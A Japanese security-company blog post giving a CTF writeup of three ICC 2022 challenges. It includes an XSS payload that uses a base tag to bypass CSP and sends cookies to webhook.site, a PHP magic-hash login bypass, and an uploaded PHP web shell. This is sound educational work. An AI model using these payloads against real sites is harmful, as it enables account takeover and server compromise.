ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。
(編集:株式会社ラック・デジタルペンテスト部)

【CTF writeup前編】International Cybersecurity Challenge (ICC) 2022のwriteup(1日目: Jeopardy編)

こんにちは、デジタルペンテスト部のst98です。

2022年6月14日(火)から2022年6月17日(金)にわたって、ギリシャアテネで開催されたInternational Cybersecurity Challenge (ICC) 2022というCTFの大会に、アジアチームのメンバーとして参加してきました。

どんな競技だったか、どんな結果だったかといった内容の参加記については先日LAC WATCHに投稿しました。

www.lac.co.jp

遅くなりましたが、本記事ではより技術的な内容をメインにお話ししたいと思います。競技1日目にはJeopardy形式が採用されていましたが、そこで出題された問題の解法を紹介する、いわゆるwriteup1になります。


1日目: Jeopardy

ルールの概要

競技は2日間にわたって行われましたが、1日目と2日目でそれぞれ異なるルールが採用されていました。1日目はいわゆるJeopardy形式でした。運営が用意したWeb, Reversingなど様々なカテゴリの問題を解きicc{DUMMY} のように特定のフォーマットの文字列(フラグ)を見つけて提出することで得点できるルールです。CTFではもっとも一般的なルールですね。

Webカテゴリならば、たとえばWebアプリケーションに存在する任意コード実行(RCE)の脆弱性を突き、/read_flag というルートディレクトリにある実行ファイルを実行2することでフラグが得られるというような問題が考えられます。もちろん、これはただの一例で、Webブラウザで定期的にWebページを巡回してくるbotクロスサイトスクリプティング(XSS)で罠にはめる3とか、Webアプリケーションが使っているライブラリに存在する既知の脆弱性を使うとか、問題のあり方は多様です。

配点は、その問題を解いたチームの数によって変わっていく、ダイナミックスコアリング(動的配点)という方式が採用されていました。得点は解いたチームが多いほど少なく、反対に解いたチームが少ないほど多くなります。ただし、問題を解いた早さは得点には関係ありません4。ある問題を最初に解いたとしても、後から多くのチームがその問題を解けば、得点はどんどん減っていきます。問題を最初に解く(first blood)ことで得られるボーナス点などもありませんでした5

競技について

1日目の競技ではWeb, Pwn6, Reversing, Crypto7, Forensics8をメインとして9、30問程度が出題されました。9時間という競技時間に対して問題数が多く見えますが、各チーム15人程度のメンバーがいることを考えれば妥当だったのではないかと思います。とはいうものの、Cryptoは非常に難易度が高かったそうですし、Webでも9時間で解けるか疑問に思う問題もありました。

私は主にWebの問題に挑み、WebではSpaceとJhonの2問を、ForensicsではExfiltrated Flagの1問を解きました。Forensicsには、意図的に壊されたPDFに含まれている暗号化されたデータを、なんとかして復号するというようなEssayという問題があり、それにだいぶ時間をかけてしまいました。もうちょっとで解けそうだという感触はあったものの、結局解ききれず時間を浪費してしまったので、悔しい思いがあります。

[Web] Space

概要

Choose the planet you love and steal the admin's cookie! (問題サーバのURL)

ドロップダウンメニューから好きな惑星を選ぶと、/index.php?src=/img/mars.jpg のようなクエリパラメータが付与されたURLに遷移し、選んだ惑星の画像が表示されます。なぜか運営者(admin)に好きなURLを知らせて、Webブラウザでクロールさせることもできます。

問題文でも指示されているように、このWebアプリケーションに存在するXSSを見つけて、adminのCookieを奪い取ればよいのでしょう。

試しに /index.php?src=hoge'" にアクセスしてみると、クエリパラメータとして与えられたユーザ入力が、エスケープを施されることなく出力されました。

<div class="col-4">
    <img id='img' src='hoge'"' width=80% height=80% alt='no image selected'>
</div>

<> のような記号もそのまま出力されます。HTML Injectionです。

CSP

これでめでたしめでたしというわけにはいきませんでした。出力されるHTMLには以下のような meta 要素が含まれていました。Content Security Policy(CSP)というセキュリティ機構を使って一部のリソースの読み込みがブロックされており、たとえば <script>alert(123)</script> のように、適切な nonce 属性を持たない単純なインラインスクリプトは実行できません。

<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-jGAES7hsmsYv6l';connect-src 'self';style-src 'self';font-src 'self';object-src 'none'">

ひとつひとつ意味を確認しましょう。といっても、今回の目的はCookieの窃取なので、困るのは script-src ぐらいですが。

  • script-src 'nonce-jGAES7hsmsYv6l': nonce="jGAES7hsmsYv6l" というような nonce 属性がついていないインラインスクリプトの実行をブロック
  • connect-src 'self': 異なるオリジンへの fetchXMLHttpRequest(XHR)などをブロック
  • style-src 'self': 異なるオリジンからの link 要素でのCSSの読み込みやインラインスタイルなどをブロック
  • font-src 'self': 異なるオリジンからのフォントの読み込みをブロック
  • object-src 'none': object 要素や embed 要素などでのリソースの読み込みをブロック

CSPバイパス

このポリシーをバイパスする方法をなんとかして見つけなければなりません。このポリシーを見て、default-src が含まれていないこと、つまり明示的に読み込みが制限されていない場合のフォールバックが用意されていないことを不思議に思いました。

上記のポリシーで指定されていない中でヤバそうなものといえば base-uri ディレクティブです10。これがないおかげで、base 要素を使えば、相対URLでのリソースの読み込みでベースとなるようなURLを操作できるはずです。

よく見ると、(都合よく)ページの下部に以下のような script 要素がありました。なるほど、<base href="https://example.com"> を挿入してやれば、ここで https://example.com/assets/js/bootstrap.js からJavaScriptコードを読み込ませて実行させることができそうです。

<script nonce=vyMFR35Qu4X3P1 src="assets/js/bootstrap.js"></script>

自分の管理下にあるWebサーバに以下のようなJavaScriptコードを用意します。/index.php?src=hoge'><base href="http://(WebサーバのURL)"> にアクセスすると、123 というアラートが出た上に、Webhook.siteCookieが送信されました。

alert(123);
(new Image).src = 'https://webhook.site/…?' + document.cookie;

reCAPTCHA

あとはadminにさきほどのURLを報告するだけかと思いきや、URLを報告するためのフォームを見に行ったところ、なんとreCAPTCHAでエラーが表示されていました。「サイトキーのドメインが無効」だそうです。

なんでやねんと思いつつ、以下のようなコードをDevToolsで実行して無理やりフォームを送信してやると動きました。サーバ側ではreCAPTCHAのトークンを検証していなかったようです。なんでや。

var form = document.getElementById('report');
var formData = new URLSearchParams(new FormData(form));
var init = { method: 'POST', body: formData };

fetch('/reporturl.php', init).then(resp => resp.json()).then(resp => {
    console.log(res);
});

Webhook.siteを確認すると、adminからフラグが飛んできていました。

icc{ef84c10c-2fc6-478a-aa9a-e87cdd852ff1}

最後のreCAPTCHAでちょっと微妙な気持ちになりましたが、ウォームアップとしてよい感じの問題だったと思います。

[Web] Jhon

概要

Recently our under-development platform got attacked, therefore we are now allowing only admins to access it and also perform automated file removal to prevent malicious file uploads.

(問題サーバのURL)

What flag is hidden in the application? The flag format is ICSC{sha256}

ソースコードは与えられていませんでした11。問題文で与えられたURLにアクセスすると、ログインフォームが表示されました。ブラックボックスな問題でこういうログインフォームを見ると guestadmin といったユーザがJoeアカウントでないか、(No)SQLインジェクションができないか、Mass Assignmentができないかをまず試しますが、いずれも不発でした。

一応登録フォームが用意されていますが、適当な認証情報を入力したうえでログインしようとしても、ユーザが存在しないとエラーが出てしまいます。ところで、登録フォームで用意されていた入力欄は以下の5つでした。上の4つはまあありそうだなあという感じですが、最後の項目はあまり見かけないもので気になります。hased というのは hashed の打ち間違いでしょうか。

  • Name
  • Email
  • Password
  • Confirm Password
  • Enter secret password for hased hardcoded secret

ほかに何か情報が得られないか探ってみましたが、ブラックボックスなWeb問でありがちな robots.txt には何も有用な情報はありませんでしたし、DirBusterをぶつけようと考えましたが、さすがにそれでヒントが得られるようなものではないだろうとやめました。

/index.phpステータスコードが200で、/index.hoge は404だったことから、PHPが使われていると判断しました。Cookieにはクライアントセッションとして、以下のようなJSONBase64エンコードした文字列が入っており、これを使って攻撃できるのだろうかと思いました。…が、チームメンバーのsplitlineさんから、これはLaravelの一般的なCookieである(らしい)という情報をいただき、違うのではないかと薄っすら考えました。

{"iv":"…","value":"…","mac":"…","tag":""}

Magic Hashes

ふと、ハッシュ関連で、かつPHPならではの脆弱性といえばなんだろうと少し考えて、Magic Hashesを思い出しました。

PHPのドキュメントの比較演算子というページを見てみましょう。「オペランドが両方数値形式の文字列の場合…比較は数値として行われます」となにやら不穏なことが書かれています。数値として解釈できる文字列同士であった場合には、両辺を数値に変換した上で比較されるとのことですが、これはつまり次のような挙動をするということになります。

$ php -r 'var_dump("0e123" == "0e456");'
bool(true)

もし hased hardcoded secret とやらが、16進数の形で保存されているハッシュ値であればどうでしょうか。もしそのハッシュ値正規表現でいう ^0e[0-9]+$ というようなフォーマットに当てはまっており、かつユーザ入力のハッシュ値との比較に == が使われていればどうでしょうか。もしそうならば、たとえそのハッシュ値を知らなくても、ハッシュ値が同様のフォーマットになるような文字列を見つけさえすれば、等しいものとして評価されるはずです。

magic hashesググるそのような文字列のリストがヒットします。ダメもとでMD5で使える 240610708secret password に入力したところ、ユーザ登録とログインができました12

RCE

ログイン後に利用可能な機能として、アップローダーがありました。ユーザのプロフィール画像を変更するための機能のようですが、ファイルフォーマットや拡張子が一切チェックされていないために、どんなファイルでもアップロードできました。

試しに以下のような内容の a.php というファイルをアップロードしてみたところ、/storage/images/a.php にこのファイルが配置されました。アクセスしてみると、PHPのバージョンやらなんやらが表示されました。PHPコードも実行できてしまうようです。

<?php phpinfo(); ?>

以下のように適当なWeb Shell的なものをアップロードします。

<?php passthru($_GET['poyo']); ?>

/flag のようなファイルはなく、MySQLの認証情報を環境変数から手に入れ接続してみてもフラグはなく、どこにフラグがあるのか悩みました。面倒だなあと思いつつ grep -rl ICSC /var/www を実行して探してみたところ、/var/www/html/app/Http/Controllers/Controller.php にフラグが見つかりました。

ICSC{364e626a7e0d693946f1f69749d28606d7daa9f01bb0c1bd5d5070ccebda45a6}

エスパー13感が強く、私はあまり好きではない問題でした。なぜそんなものが用意されているのかまったく理解できない入力欄があり、hased hardcoded secret という表現からMagic Hashesを連想して、それっぽい文字列を入力せよというのは理不尽ではないですか? それから、せっかくRCEに持ち込めたのだから、ソースコードを全部落としておけばよかったと今更ながら思っています。

[Forensics] Exfiltrated Flag

Some critical data has been stolen from ICC servers. Administrators have seized few files from attackers and uploaded them to (exfil.tar がダウンロードできるURL)

ということで、それっぽい問題設定とともに exfil.tar というファイルが与えられました。展開すると、capture.pcapvmcore.0 というファイルが出てきました。前者はキャプチャしたパケット、後者はファイル名的にクラッシュダンプでしょう。

strings という、バイナリファイルからprintableな文字列を抽出できるLinuxのコマンドがあります。これと grep を組み合わせて vmcore.0icc{ から始まる文字列がないか探してみたところ、なんとフラグが見つかってしまいました14

$ strings vmcore.0 | grep "icc{"
)icc{1p5eC_1s_4_3nt3rpr153_gr4d3_53cur1t4}
)icc{1p5eC_1s_4_3nt3rpr153_gr4d3_53cur1t4}

後から capture.pcapWiresharkで見てみたところ、プロトコルESP と表示されているパケットが多く含まれていました。フラグの内容とあわせて考えると、IPsecのESPでゴニョゴニョする問題だったのでしょう。

おわりに

競技は2日間行われましたが、1日目のwriteupだけでもなかなかの長さになってしまいましたので、前後編に分けてお話ししたいと思います。Attack & Defense(A&D)形式が採用されていた2日目の記事については、また後日投稿します。

CTFtime.orgというCTFの情報が集まるWebサイトを見るとわかるように、CTFは毎週のように開催されています。このサイトに掲載されるCTFは24時間や48時間といったように競技時間が限られているものばかりですが、CpawCTFksnctfpicoCTFのようにいつでも参加できる(いわゆる常設の)CTFもあります。興味を持たれた方はぜひ参加してみてください。


  1. ときどき明示的にwriteupの公開を禁止するCTFがありますが、見かける度になぜダメなのだろうと思います。

  2. 何をすればフラグが得られるかというのは、問題文や添付されているソースコードDockerfiledocker-compose.yml などで示されていることがよくあります。初期化スクリプトecho FLAG{DUMMY} > /flag が含まれているとか、管理者としてログインすると FLAG という環境変数を表示する処理が含まれているとか。フラグの設置方法によって解法が想像できてしまうこともあり、たとえばここで例に挙げたような /read_flag という実行ファイルを実行すれば得られるという場合には、あえてそうする必要があるのだろうという点から、OSコマンドインジェクションやRCEができるのだろうと推測できます。

  3. PuppeteerPlaywrightSeleniumのようなツールによって、adminがWebブラウザでアクセスしてきます。XSSを使ってCookieを抽出したり、adminしかアクセスできない機能を使ったりといったことが目的となります。

  4. 解いた時刻は得点の計算には関係ないというだけで、同点のチームが出てきた場合にtiebreakerとして使われることはある(より早くその点に到達したチームがより上位となる)というルールでした。

  5. 最近のオンラインCTFでは、ダイナミックスコアリングにfirst bloodのボーナスなしという組み合わせが多い印象があります。前者は固定配点と比較すると得点と実際の難易度との乖離が起こりにくい印象がありますし、後者は問題を確認した人とその問題との相性であるとか、問題の簡単さといった点で運が絡んでくるので、個人的には好ましい流れだと思います。

  6. 私は「ぽうん」と発音しています。

  7. 暗号通貨のことではありません。

  8. 世の中にはForensicsといいつつSteganography問を出したり、CryptoやSteganographyとカテゴリを一緒くたにするCTFが(残念ながら)存在しています。それもあって、ICCではForensicsカテゴリの問題が出るという話を事前に聞いて身構えていました。少なくとも私が見た範囲ではその手の問題はなく、比較的正統派のForensicsでよかったです。

  9. ほかにもHardwareやEscape roomというカテゴリの問題があったというのはLAC WATCHに投稿した記事や、CDIの前田さんの記事にも書かれている通りです。私はWebとForensicsに夢中だったので、このwriteupには一切登場しません。すみません。

  10. ちなみに、CSP Evaluatorというツールにポリシーを投げてやると base-uri ディレクティブが存在しないぞと教えてくれます。便利ですね。

  11. 私は、Web問ではよほどの事情がない限りソースコードを提供すべきだと思っています。

  12. 成功したときには嘘やろ…という気持ちになりました。エスパーにもほどがあるだろうと思いつつ、どこかにヒントがあったのだろうかと疑いました。

  13. 問題文や添付されているファイルから解法にたどり着くにはあまりに手がかりが少なく、推測を重ねるしかないような問題を「エスパー問題」だとか「guessy challenge」と呼ぶことがあります。個人的には、エスパー問が出るGTF(Guess The Flag)であると明示されていればよいですし、むしろエスパー力を鍛えるよい機会だと喜んで参加するのですが、そうでないCTFで遭遇すると微妙な気分になります。

  14. 私は、Reversing問やForensics問を見たら初手で strings をぶちかますことにしています。特にForensics問では、(大抵の場合非想定の解法ではありますが)それだけでフラグが得られてしまうことが少なくありません。作問をされる方は気を付けましょう。